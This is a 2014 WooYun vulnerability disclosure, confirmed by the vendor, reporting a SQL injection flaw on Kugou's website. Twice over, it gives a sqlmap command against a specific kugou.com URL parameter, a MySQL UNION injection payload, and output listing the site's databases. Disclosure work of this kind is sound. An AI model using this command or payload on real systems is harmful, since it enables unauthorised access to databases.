当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082448

漏洞标题:酷狗主站一处SQL注入漏洞

相关厂商:酷狗

漏洞作者: 李宏

提交时间:2014-11-07 22:07

修复时间:2014-12-22 22:08

公开时间:2014-12-22 22:08

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-07: 细节已通知厂商并且等待厂商处理中
2014-11-10: 厂商已经确认,细节仅向厂商公开
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-22: 细节向公众公开

简要描述:

对提交的参数未作检查导致sql注入!

详细说明:

python sqlmap.py -u "http://www.kugou.com/musicshow/app/index.php?a=ge
trecords&t=0.08158387895673513&zpids=1" -p zpids --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:45:46
[21:45:46] [INFO] resuming back-end DBMS 'mysql'
[21:45:47] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: zpids
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: a=getrecords&t=0.08158387895673513&zpids=1) UNION ALL SELECT NULL,N
ULL,CONCAT(0x3a6361743a,0x6868536a4e6b456e6d62,0x3a6d677a3a)#
---
[21:45:48] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[21:45:48] [INFO] fetching database names
[21:45:48] [INFO] the SQL query used returns 5 entries
[21:45:48] [INFO] resumed: "information_schema"
[21:45:48] [INFO] resumed: "fm"
[21:45:48] [INFO] resumed: "musicshow"
[21:45:48] [INFO] resumed: "starshow"
[21:45:48] [INFO] resumed: "test"
available databases [5]:
[*] fm
[*] information_schema
[*] musicshow
[*] starshow
[*] test

漏洞证明:

python sqlmap.py -u "http://www.kugou.com/musicshow/app/index.php?a=ge
trecords&t=0.08158387895673513&zpids=1" -p zpids --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:45:46
[21:45:46] [INFO] resuming back-end DBMS 'mysql'
[21:45:47] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: zpids
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: a=getrecords&t=0.08158387895673513&zpids=1) UNION ALL SELECT NULL,N
ULL,CONCAT(0x3a6361743a,0x6868536a4e6b456e6d62,0x3a6d677a3a)#
---
[21:45:48] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[21:45:48] [INFO] fetching database names
[21:45:48] [INFO] the SQL query used returns 5 entries
[21:45:48] [INFO] resumed: "information_schema"
[21:45:48] [INFO] resumed: "fm"
[21:45:48] [INFO] resumed: "musicshow"
[21:45:48] [INFO] resumed: "starshow"
[21:45:48] [INFO] resumed: "test"
available databases [5]:
[*] fm
[*] information_schema
[*] musicshow
[*] starshow
[*] test

修复方案:

检查下文件咯,没了

版权声明:转载请注明来源 李宏@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-11-10 14:46

厂商回复:

谢谢提交,我们正在安排人除理.

最新状态:

暂无